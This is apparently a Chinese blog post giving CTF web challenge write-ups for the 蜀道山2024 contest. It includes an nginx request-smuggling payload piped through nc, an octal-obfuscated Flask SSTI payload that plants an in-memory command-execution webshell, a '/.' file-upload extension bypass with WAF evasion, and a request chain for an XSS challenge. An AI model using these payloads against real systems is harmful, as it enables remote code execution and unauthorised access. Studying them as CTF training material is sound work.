蜀道山2024
0x01 前言
收到联办消息是暑假的时候,也是我第一次被外面所认可?谢谢P爹给我机会
0x02 question
海关警察训练平台
这是一个海关警察训练平台,你的任务是判断所给图片能否进入境内,但是全部判断正确的成功页面好像丢失了??flag在内网的http://infernityhost/flag.html
进来之后我发现是十张图片,这里的话直接查看源代码拿到路由
进来之后发现是一个404并且nginx/1.17.6,这个是有一个http劫持漏洞的
1 | https://www.cnblogs.com/null1433/p/12778026.html |
写个类似的payload就可以了
1 | GET /error |
终端也可以
1 | printf "GET /error HTTP/1.1\r\nHost: gamebox.yunyansec.com:27491\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\r\nCookie: Hm_lvt_f6095793646f2ba4a15ac9ee2cd1af7a=1728906472\r\nConnection: keep-alive\r\n\r\nGET /flag.html HTTP/1.1\r\nHost: infernityhost\r\nCache-Control: max-age=0\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\r\nConnection: close\r\n\r\n" | nc gamebox.yunyansec.com 27491 |
my_site
题目环境提示是使用python进行的开发,这里我们先进去注册看看什么情况
随便注册登录一个账号之后发现可以进行message
发现没啥用
找一下flag
页面和cookie
,好像是没啥用
加解密界面进行一个ROT13编码,嗯,估计这里有漏洞了,这里直接尝试SSTI,发现是不需要大括号的,并且无回显
OK那么我们可以打入内存马,不过经过测试发现有部分过滤,我们使用八进制成功绕过
1 | url_for["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())\")==None else resp)", {'request':url_for["\137\137\147\154\157\142\141\154\163\137\137"]['request'],'app':url_for["\137\137\147\154\157\142\141\154\163\137\137"]['current_app']}) |
成功打入内存马
1 | http://6bcc650d.clsadp.com/rot13_result/decrypt/?cmd=ls |
恶意代码检测器
一看这个名字进来就是要绕过了,先扫个后台吧,发现有源码,简单的看了一下发现是框架,我们先看版本
网上搜没有搜到
1 |
|
利用require_once
执行代码,这里的话能绕过就行,有个特性就是利用{}
进行RCE
1 | POST /public/index.php |
奶龙牌WAF
1 |
|
这么大个好东西
这里这个函数
当move_uploaded_file函数参数可控时,可以尝试/.绕过,因为该函数会忽略掉文件末尾的/.,所以可以构造save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php
那么现在就是要绕过waf了,可以使用脏数据绕过
1 | POST /?name=a.php/. |
上传完成之后访问得到结果
XSS?
进来发现可以上传文件,那么应该是写一个js,并且是有源码的
1 | using System.Globalization; |
源码在这里但是我没有看懂,算了等赛后问问kengwang师傅吧
依次发包
1 | POST /images |
1 | GET /images |
1 | GET /static/main.js#aaa/../../images/<the_name_to_uploaded_file>.js |
1 | POST /report/<the_id_of_uploaded_file> |
0x03 小结
第一次出题,感觉还挺好的,刚开始进群的时候发现全都是比我厉害的师傅,我话都不敢说,幸好有P爹嘿,当然在这里和一些师傅也更熟了
- Title: 蜀道山2024
- Author: baozongwi
- Created at : 2024-11-18 20:17:47
- Updated at : 2024-11-28 16:14:59
- Link: https://baozongwi.xyz/2024/11/18/蜀道山2024/
- License: This work is licensed under CC BY-NC-SA 4.0.